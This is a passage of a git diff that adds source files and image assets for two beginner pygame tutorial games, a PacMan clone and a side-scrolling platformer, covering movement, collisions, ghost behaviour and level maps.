-self.move_speed), 'down': (0, self.move_speed)} + self.keys = ['left', 'right', 'up', 'down'] + self.direction = (0, 0) + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + def is_collide(self, x, y, walls_collide_list): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(walls_collide_list) == -1: + return False + return True + + def _animate(self): + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + def update(self, walls_collide_list): + # ghost movement + available_moves = [] + for key in self.keys: + if not self.is_collide(*self.directions[key], walls_collide_list): + available_moves.append(key) + + randomizing = False if len(available_moves) <= 2 and self.direction != (0,0) else True + # 60% chance of randomizing ghost move + if randomizing and random.randrange( 0,100 ) <= 60: + self.moving_dir = random.choice(available_moves) + self.direction = self.directions[self.moving_dir] + + if not self.is_collide(*self.direction, walls_collide_list): + self.rect.move_ip(self.direction) + else: + self.direction = (0,0) + + # teleporting to the other side of the map + if self.rect.right <= 0: + self.rect.x = WIDTH + elif self.rect.left >= WIDTH: + self.rect.x = 0 + + self._animate() diff --git a/gui-programming/pacman-game/main.py b/gui-programming/pacman-game/main.py new file mode 100644 index 00000000..738c989f --- /dev/null +++ b/gui-programming/pacman-game/main.py @@ -0,0 +1,32 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_HEIGHT)) +pygame.display.set_caption("PacMan") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pacman-game/pac.py b/gui-programming/pacman-game/pac.py new file mode 100644 index 00000000..c7b7242a --- /dev/null +++ b/gui-programming/pacman-game/pac.py @@ -0,0 +1,93 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED +from animation import import_sprite + +class Pac(pygame.sprite.Sprite): + def __init__(self, row, col): + super().__init__() + + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + # pac animation + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.5 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.pac_speed = PLAYER_SPEED + self.immune_time = 0 + self.immune = False + + self.directions = {'left': (-PLAYER_SPEED, 0), 'right': (PLAYER_SPEED, 0), 'up': (0, -PLAYER_SPEED), 'down': (0, PLAYER_SPEED)} + self.keys = {'left': pygame.K_LEFT, 'right': pygame.K_RIGHT, 'up': pygame.K_UP, 'down': pygame.K_DOWN} + self.direction = (0, 0) + + # pac status + self.status = "idle" + self.life = 3 + self.pac_score = 0 + + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/pac/" + self.animations = { + "up": [], + "down": [], + "left": [], + "right": [], + "idle": [], + "power_up": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + + def _is_collide(self, x, y): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(self.walls_collide_list) == -1: + return False + return True + + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + + # update with sprite/sheets + def animate(self, pressed_key, walls_collide_list): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + self.image = pygame.transform.scale(image, (CHAR_SIZE, CHAR_SIZE)) + + self.walls_collide_list = walls_collide_list + for key, key_value in self.keys.items(): + if pressed_key[key_value] and not self._is_collide(*self.directions[key]): + self.direction = self.directions[key] + self.status = key if not self.immune else "power_up" + break + + if not self._is_collide(*self.direction): + self.rect.move_ip(self.direction) + self.status = self.status if not self.immune else "power_up" + if self._is_collide(*self.direction): + self.status = "idle" if not self.immune else "power_up" + + + def update(self): + # Timer based from FPS count + self.immune = True if self.immune_time > 0 else False + self.immune_time -= 1 if self.immune_time > 0 else 0 + + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/pacman-game/requirements.txt b/gui-programming/pacman-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pacman-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/settings.py b/gui-programming/pacman-game/settings.py new file mode 100644 index 00000000..671a476f --- /dev/null +++ b/gui-programming/pacman-game/settings.py @@ -0,0 +1,33 @@ +MAP = [ + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','B','1','1',' ','1','1','1',' ','1',' ','1','1','1',' ','1','1','B','1'], + ['1',' ',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ',' ','1'], + ['1','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ','r',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1',' ','1','1','1',' ','1','1','-','1','1',' ','1','1','1',' ','1','1'], + [' ',' ',' ',' ',' ','1',' ','1','s','p','o','1',' ','1',' ',' ',' ',' ',' '], + ['1','1',' ','1',' ','1',' ','1','1','1','1','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1'], + ['1',' ',' ',' ','1',' ',' ',' ',' ','P',' ',' ',' ',' ','1',' ',' ',' ','1'], + ['1','B','1',' ','1',' ','1',' ','1','1','1',' ','1',' ','1',' ','1','B','1'], + ['1',' ','1',' ',' ',' ','1',' ',' ',' ',' ',' ','1',' ',' ',' ','1',' ','1'], + ['1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'] +] + +BOARD_RATIO = (len(MAP[0]), len(MAP)) +CHAR_SIZE = 32 + +WIDTH, HEIGHT = (BOARD_RATIO[0] * CHAR_SIZE, BOARD_RATIO[1] * CHAR_SIZE) +NAV_HEIGHT = 64 + +PLAYER_SPEED = CHAR_SIZE // 4 + +GHOST_SPEED = 4 \ No newline at end of file diff --git a/gui-programming/pacman-game/world.py b/gui-programming/pacman-game/world.py new file mode 100644 index 00000000..2fbe33e4 --- /dev/null +++ b/gui-programming/pacman-game/world.py @@ -0,0 +1,169 @@ +import pygame +import time + +from settings import HEIGHT, WIDTH, NAV_HEIGHT, CHAR_SIZE, MAP, PLAYER_SPEED +from pac import Pac +from cell import Cell +from berry import Berry +from ghost import Ghost +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.ghosts = pygame.sprite.Group() + self.walls = pygame.sprite.Group() + self.berries = pygame.sprite.Group() + + self.display = Display(self.screen) + + self.game_over = False + self.reset_pos = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + # create and add player to the screen + def _generate_world(self): + # renders obstacle from the MAP table + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == "1": # for walls + self.walls.add(Cell(x_index, y_index, CHAR_SIZE, CHAR_SIZE)) + elif char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + + # for Ghosts's starting position + elif char == "s": + self.ghosts.add(Ghost(x_index, y_index, "skyblue")) + elif char == "p": + self.ghosts.add(Ghost(x_index, y_index, "pink")) + elif char == "o": + self.ghosts.add(Ghost(x_index, y_index, "orange")) + elif char == "r": + self.ghosts.add(Ghost(x_index, y_index, "red")) + + elif char == "P": # for PacMan's starting position + self.player.add(Pac(x_index, y_index)) + + self.walls_collide_list = [wall.rect for wall in self.walls.sprites()] + + + def generate_new_level(self): + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + time.sleep(2) + + + def restart_level(self): + self.berries.empty() + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.game_level = 1 + self.player.sprite.pac_score = 0 + self.player.sprite.life = 3 + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + # displays nav + def _dashboard(self): + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_HEIGHT) + pygame.draw.rect(self.screen, pygame.Color("cornsilk4"), nav) + + self.display.show_life(self.player.sprite.life) + self.display.show_level(self.game_level) + self.display.show_score(self.player.sprite.pac_score) + + + def _check_game_state(self): + # checks if game over + if self.player.sprite.life == 0: + self.game_over = True + + # generates new level + if len(self.berries) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + for ghost in self.ghosts.sprites(): + ghost.move_speed += self.game_level + ghost.move_to_start_pos() + + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + def update(self): + if not self.game_over: + # player movement + pressed_key = pygame.key.get_pressed() + self.player.sprite.animate(pressed_key, self.walls_collide_list) + + # teleporting to the other side of the map + if self.player.sprite.rect.right <= 0: + self.player.sprite.rect.x = WIDTH + elif self.player.sprite.rect.left >= WIDTH: + self.player.sprite.rect.x = 0 + + # PacMan eating-berry effect + for berry in self.berries.sprites(): + if self.player.sprite.rect.colliderect(berry.rect): + if berry.power_up: + self.player.sprite.immune_time = 150 # Timer based from FPS count + self.player.sprite.pac_score += 50 + else: + self.player.sprite.pac_score += 10 + berry.kill() + + # PacMan bumping into ghosts + for ghost in self.ghosts.sprites(): + if self.player.sprite.rect.colliderect(ghost.rect): + if not self.player.sprite.immune: + time.sleep(2) + self.player.sprite.life -= 1 + self.reset_pos = True + break + else: + ghost.move_to_start_pos() + self.player.sprite.pac_score += 100 + + self._check_game_state() + + # rendering + [wall.update(self.screen) for wall in self.walls.sprites()] + [berry.update(self.screen) for berry in self.berries.sprites()] + [ghost.update(self.walls_collide_list) for ghost in self.ghosts.sprites()] + self.ghosts.draw(self.screen) + + self.player.update() + self.player.draw(self.screen) + self.display.game_over() if self.game_over else None + + self._dashboard() + + # reset Pac and Ghosts position after PacMan get captured + if self.reset_pos and not self.game_over: + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.player.sprite.move_to_start_pos() + self.player.sprite.status = "idle" + self.player.sprite.direction = (0,0) + self.reset_pos = False + + # for restart button + if self.game_over: + pressed_key = pygame.key.get_pressed() + if pressed_key[pygame.K_r]: + self.game_over = False + self.restart_level() \ No newline at end of file diff --git a/gui-programming/platformer-game/README.Md b/gui-programming/platformer-game/README.Md new file mode 100644 index 00000000..fb346961 --- /dev/null +++ b/gui-programming/platformer-game/README.Md @@ -0,0 +1 @@ +# [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/platformer-game/assets/goal/gate.png b/gui-programming/platformer-game/assets/goal/gate.png new file mode 100644 index 00000000..c088b640 Binary files /dev/null and b/gui-programming/platformer-game/assets/goal/gate.png differ diff --git a/gui-programming/platformer-game/assets/life/life.png b/gui-programming/platformer-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/platformer-game/assets/life/life.png differ diff --git a/gui-programming/platformer-game/assets/player/fall/0.png b/gui-programming/platformer-game/assets/player/fall/0.png new file mode 100644 index 00000000..1beedac8 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/fall/0.png differ diff --git a/gui-programming/platformer-game/assets/player/idle/0.png b/gui-programming/platformer-game/assets/player/idle/0.png new file mode 100644 index 00000000..e5cc59e7 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/idle/0.png differ diff --git a/gui-programming/platformer-game/assets/player/jump/0.png b/gui-programming/platformer-game/assets/player/jump/0.png new file mode 100644 index 00000000..e3cdfcb6 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/jump/0.png differ diff --git a/gui-programming/platformer-game/assets/player/jump/1.png b/gui-programming/platformer-game/assets/player/jump/1.png new file mode 100644 index 00000000..55c733eb Binary files /dev/null and b/gui-programming/platformer-game/assets/player/jump/1.png differ diff --git a/gui-programming/platformer-game/assets/player/lose/0.png b/gui-programming/platformer-game/assets/player/lose/0.png new file mode 100644 index 00000000..1beedac8 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/lose/0.png differ diff --git a/gui-programming/platformer-game/assets/player/lose/1.png b/gui-programming/platformer-game/assets/player/lose/1.png new file mode 100644 index 00000000..cdb553f9 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/lose/1.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/0.png b/gui-programming/platformer-game/assets/player/walk/0.png new file mode 100644 index 00000000..cba1de44 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/0.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/1.png b/gui-programming/platformer-game/assets/player/walk/1.png new file mode 100644 index 00000000..11fc0cd4 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/1.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/2.png b/gui-programming/platformer-game/assets/player/walk/2.png new file mode 100644 index 00000000..2cde8e82 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/2.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/3.png b/gui-programming/platformer-game/assets/player/walk/3.png new file mode 100644 index 00000000..e58fe217 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/3.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/4.png b/gui-programming/platformer-game/assets/player/walk/4.png new file mode 100644 index 00000000..edcafbe8 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/4.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/5.png b/gui-programming/platformer-game/assets/player/walk/5.png new file mode 100644 index 00000000..f5a678af Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/5.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/6.png b/gui-programming/platformer-game/assets/player/walk/6.png new file mode 100644 index 00000000..24b5faff Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/6.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/7.png b/gui-programming/platformer-game/assets/player/walk/7.png new file mode 100644 index 00000000..adc49702 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/7.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/8.png b/gui-programming/platformer-game/assets/player/walk/8.png new file mode 100644 index 00000000..e5cc59e7 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/8.png differ diff --git a/gui-programming/platformer-game/assets/player/win/0.png b/gui-programming/platformer-game/assets/player/win/0.png new file mode 100644 index 00000000..bb386107 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/0.png differ diff --git a/gui-programming/platformer-game/assets/player/win/1.png b/gui-programming/platformer-game/assets/player/win/1.png new file mode 100644 index 00000000..18ce2a83 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/1.png differ diff --git a/gui-programming/platformer-game/assets/player/win/2.png b/gui-programming/platformer-game/assets/player/win/2.png new file mode 100644 index 00000000..391fdaf1 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/2.png differ diff --git a/gui-programming/platformer-game/assets/player/win/3.png b/gui-programming/platformer-game/assets/player/win/3.png new file mode 100644 index 00000000..9dfae1c2 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/3.png differ diff --git a/gui-programming/platformer-game/assets/player/win/4.png b/gui-programming/platformer-game/assets/player/win/4.png new file mode 100644 index 00000000..89bbc3c6 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/4.png differ diff --git a/gui-programming/platformer-game/assets/player/win/5.png b/gui-programming/platformer-game/assets/player/win/5.png new file mode 100644 index 00000000..ad84b5b6 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/5.png differ diff --git a/gui-programming/platformer-game/assets/terrain/bg.jpg b/gui-programming/platformer-game/assets/terrain/bg.jpg new file mode 100644 index 00000000..15bba24a Binary files /dev/null and b/gui-programming/platformer-game/assets/terrain/bg.jpg differ diff --git a/gui-programming/platformer-game/assets/terrain/stone.jpg b/gui-programming/platformer-game/assets/terrain/stone.jpg new file mode 100644 index 00000000..f127c1f9 Binary files /dev/null and b/gui-programming/platformer-game/assets/terrain/stone.jpg differ diff --git a/gui-programming/platformer-game/assets/trap/blade/0.png b/gui-programming/platformer-game/assets/trap/blade/0.png new file mode 100644 index 00000000..22411d28 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/0.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/1.png b/gui-programming/platformer-game/assets/trap/blade/1.png new file mode 100644 index 00000000..37d1f3a9 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/1.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/2.png b/gui-programming/platformer-game/assets/trap/blade/2.png new file mode 100644 index 00000000..805e6708 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/2.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/3.png b/gui-programming/platformer-game/assets/trap/blade/3.png new file mode 100644 index 00000000..64ebdf93 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/3.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/4.png b/gui-programming/platformer-game/assets/trap/blade/4.png new file mode 100644 index 00000000..9fd71209 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/4.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/5.png b/gui-programming/platformer-game/assets/trap/blade/5.png new file mode 100644 index 00000000..c3de8ed3 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/5.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/6.png b/gui-programming/platformer-game/assets/trap/blade/6.png new file mode 100644 index 00000000..e1db7b76 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/6.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/7.png b/gui-programming/platformer-game/assets/trap/blade/7.png new file mode 100644 index 00000000..76045356 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/7.png differ diff --git a/gui-programming/platformer-game/game.py b/gui-programming/platformer-game/game.py new file mode 100644 index 00000000..ba7e4ab1 --- /dev/null +++ b/gui-programming/platformer-game/game.py @@ -0,0 +1,43 @@ +import pygame +from settings import HEIGHT, WIDTH + +pygame.font.init() + +class Game: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("impact", 70) + self.message_color = pygame.Color("darkorange") + + # if player ran out of life or fell below the platform + def _game_lose(self, player): + player.game_over = True + message = self.font.render('You Lose...', True, self.message_color) + self.screen.blit(message,(WIDTH // 3 + 70, 70)) + + # if player reach the goal + def _game_win(self, player): + player.game_over = True + player.win = True + message = self.font.render('You Win!!', True, self.message_color) + self.screen.blit(message,(WIDTH // 3, 70)) + + # checks if the game is over or not, and if win or lose + def game_state(self, player, goal): + if player.life <= 0 or player.rect.y >= HEIGHT: + self._game_lose(player) + elif player.rect.colliderect(goal.rect): + self._game_win(player) + else: + None + + def show_life(self, player): + life_size = 30 + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (life_size, life_size)) + # life_rect = life_image.get_rect(topleft = pos) + indent = 0 + for life in range(player.life): + indent += life_size + self.screen.blit(life_image, (indent, life_size)) \ No newline at end of file diff --git a/gui-programming/platformer-game/goal.py b/gui-programming/platformer-game/goal.py new file mode 100644 index 00000000..419e66a4 --- /dev/null +++ b/gui-programming/platformer-game/goal.py @@ -0,0 +1,13 @@ +import pygame + +class Goal(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + img_path = 'assets/goal/gate.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift \ No newline at end of file diff --git a/gui-programming/platformer-game/main.py b/gui-programming/platformer-game/main.py new file mode 100644 index 00000000..ac01a83c --- /dev/null +++ b/gui-programming/platformer-game/main.py @@ -0,0 +1,46 @@ +import pygame, sys +from settings import * +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Platformer") + +class Platformer: + def __init__(self, screen, width, height): + self.screen = screen + self.clock = pygame.time.Clock() + self.player_event = False + + self.bg_img = pygame.image.load('assets/terrain/bg.jpg') + self.bg_img = pygame.transform.scale(self.bg_img, (width, height)) + + def main(self): + world = World(world_map, self.screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + self.player_event = "left" + if event.key == pygame.K_RIGHT: + self.player_event = "right" + if event.key == pygame.K_SPACE: + self.player_event = "space" + elif event.type == pygame.KEYUP: + self.player_event = False + + world.update(self.player_event) + pygame.display.update() + self.clock.tick(60) + + +if __name__ == "__main__": + play = Platformer(screen, WIDTH, HEIGHT) + play.main() \ No newline at end of file diff --git a/gui-programming/platformer-game/player.py b/gui-programming/platformer-game/player.py new file mode 100644 index 00000000..8f614ca3 --- /dev/null +++ b/gui-programming/platformer-game/player.py @@ -0,0 +1,115 @@ +import pygame +from support import import_sprite + +class Player(pygame.sprite.Sprite): + def __init__(self, pos): + super().__init__() + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.15 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # player movement + self.direction = pygame.math.Vector2(0, 0) + self.speed = 5 + self.jump_move = -16 + + # player status + self.life = 5 + self.game_over = False + self.win = False + self.status = "idle" + self.facing_right = True + self.on_ground = False + self.on_ceiling = False + self.on_left = False + self.on_right = False + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/player/" + self.animations = { + "idle": [], + "walk": [], + "jump": [], + "fall": [], + "lose": [], + "win": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + # animates the player actions + def _animate(self): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + image = pygame.transform.scale(image, (35, 50)) + if self.facing_right: + self.image = image + else: + flipped_image = pygame.transform.flip(image, True, False) + self.image = flipped_image + + # set the rect + if self.on_ground and self.on_right: + self.rect = self.image.get_rect(bottomright = self.rect.bottomright) + elif self.on_ground and self.on_left: + self.rect = self.image.get_rect(bottomleft = self.rect.bottomleft) + elif self.on_ground: + self.rect = self.image.get_rect(midbottom = self.rect.midbottom) + elif self.on_ceiling and self.on_right: + self.rect = self.image.get_rect(topright = self.rect.topright) + elif self.on_ceiling and self.on_left: + self.rect = self.image.get_rect(bottomleft = self.rect.topleft) + elif self.on_ceiling: + self.rect = self.image.get_rect(midtop = self.rect.midtop) + + # checks if the player is moving towards left or right or not moving + def _get_input(self, player_event): + if player_event != False: + if player_event == "right": + self.direction.x = 1 + self.facing_right = True + elif player_event == "left": + self.direction.x = -1 + self.facing_right = False + else: + self.direction.x = 0 + + def _jump(self): + self.direction.y = self.jump_move + + # identifies player action + def _get_status(self): + if self.direction.y < 0: + self.status = "jump" + elif self.direction.y > 1: + self.status = "fall" + elif self.direction.x != 0: + self.status = "walk" + else: + self.status = "idle" + + # update the player's state + def update(self, player_event): + self._get_status() + if self.life > 0 and not self.game_over: + if player_event == "space" and self.on_ground: + self._jump() + else: + self._get_input(player_event) + elif self.game_over and self.win: + self.direction.x = 0 + self.status = "win" + else: + self.direction.x = 0 + self.status = "lose" + self._animate() diff --git a/gui-programming/platformer-game/requirements.txt b/gui-programming/platformer-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/platformer-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/platformer-game/settings.py b/gui-programming/platformer-game/settings.py new file mode 100644 index 00000000..dd578461 --- /dev/null +++ b/gui-programming/platformer-game/settings.py @@ -0,0 +1,15 @@ +world_map = [ + ' ', + ' ', + ' t t ', + ' X XXXXXXXXXs XX X ', + ' tXXXt XX XX XXXX tt XX ', + ' XX XX XXXXX ', + ' Xt t t t X G ', + ' XXXXXX XXXXs XXXXXXXXXXX XX tt t XXX', + ' P XX X XX X X XXXt X XX XX XXX XXXXXXXXs XXXXXX ', + 'XXXXXXX X X X X XXXXXXXXX XX XX XXX XX XX XXXXXXX X ', +] + +tile_size = 50 +WIDTH, HEIGHT = 1000, len(world_map) * tile_size \ No newline at end of file diff --git a/gui-programming/platformer-game/support.py b/gui-programming/platformer-game/support.py new file mode 100644 index 00000000..d0e297b5 --- /dev/null +++ b/gui-programming/platformer-game/support.py @@ -0,0 +1,11 @@ +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/platformer-game/tile.py b/gui-programming/platformer-game/tile.py new file mode 100644 index 00000000..7e3ec1ec --- /dev/null +++ b/gui-programming/platformer-game/tile.py @@ -0,0 +1,13 @@ +import pygame + +class Tile(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + img_path = 'assets/terrain/stone.jpg' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift \ No newline at end of file diff --git a/gui-programming/platformer-game/trap.py b/gui-programming/platformer-game/trap.py new file mode 100644 index 00000000..45034c1f --- /dev/null +++ b/gui-programming/platformer-game/trap.py @@ -0,0 +1,29 @@ +import pygame +from support import import_sprite + +class Trap(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + self.blade_img = import_sprite("assets/trap/blade") + self.frame_index = 0 + self.animation_delay = 3 + self.image = self.blade_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.mask = pygame.mask.from_surface(self.image) + self.rect = self.image.get_rect(topleft = pos) + + # adds the spinning effect to the Blade trap + def _animate(self): + sprites = self.blade_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # update object position due to world scroll + def update(self, x_shift): + self._animate() + self.rect.x += x_shift diff --git a/gui-programming/platformer-game/world.py b/gui-programming/platformer-game/world.py new file mode 100644 index 00000000..3d78bc0d --- /dev/null +++ b/gui-programming/platformer-game/world.py @@ -0,0 +1,143 @@ +import pygame +from settings import tile_size, WIDTH +from tile import Tile +from trap import Trap +from goal import Goal +from player import Player +from game import Game + +class World: + def __init__(self, world_data, screen): + self.screen = screen + self.world_data = world_data + self._setup_world(world_data) + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.7 + self.game = Game(self.screen) + + # generates the world + def _setup_world(self, layout): + self.tiles = pygame.sprite.Group() + self.traps = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self.goal = pygame.sprite.GroupSingle() + + for row_index, row in enumerate(layout): + for col_index, cell in enumerate(row): + x, y = col_index * tile_size, row_index * tile_size + if cell == "X": + tile = Tile((x, y), tile_size) + self.tiles.add(tile) + elif cell == "t": + tile = Trap((x + (tile_size // 4), y + (tile_size // 4)), tile_size // 2) + self.traps.add(tile) + elif cell == "P": + player_sprite = Player((x, y)) + self.player.add(player_sprite) + elif cell == "G": + goal_sprite = Goal((x, y), tile_size) + self.goal.add(goal_sprite) + + # world scroll when the player is walking towards left/right + def _scroll_x(self): + player = self.player.sprite + player_x = player.rect.centerx + direction_x = player.direction.x + + if player_x < WIDTH // 3 and direction_x < 0: + self.world_shift = 8 + player.speed = 0 + elif player_x > WIDTH - (WIDTH // 3) and direction_x > 0: + self.world_shift = -8 + player.speed = 0 + else: + self.world_shift = 0 + player.speed = 3 + + 